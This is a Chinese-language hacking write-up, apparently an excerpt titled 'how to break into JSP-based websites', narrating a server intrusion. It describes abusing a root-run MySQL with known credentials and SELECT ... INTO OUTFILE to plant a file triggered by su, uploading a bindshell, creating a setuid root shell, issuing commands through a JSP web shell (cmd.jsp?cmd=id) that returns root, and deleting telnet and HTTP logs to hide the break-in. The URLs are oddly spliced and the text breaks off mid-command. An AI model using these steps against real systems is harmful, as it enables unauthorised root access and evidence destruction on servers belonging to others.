[摘要]grep+mysqld 显示: root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql 系统是以roo...
grep+mysqld
显示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。
之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。
但是,接下来已经实际操作,结果令人颇感意外:
http://target:8080http://img3.dunguai.com/upload/technique_8/cmd.jsp?cmd=id
显示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?
http://target:8080http://img3.dunguai.com/upload/technique_8/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)
剩下的事情:
1、删除我的telnet记录。
2、删除http的日志。
清除日志我使用的办法是:cat xxx
关键词:如何入侵基于JSP的网站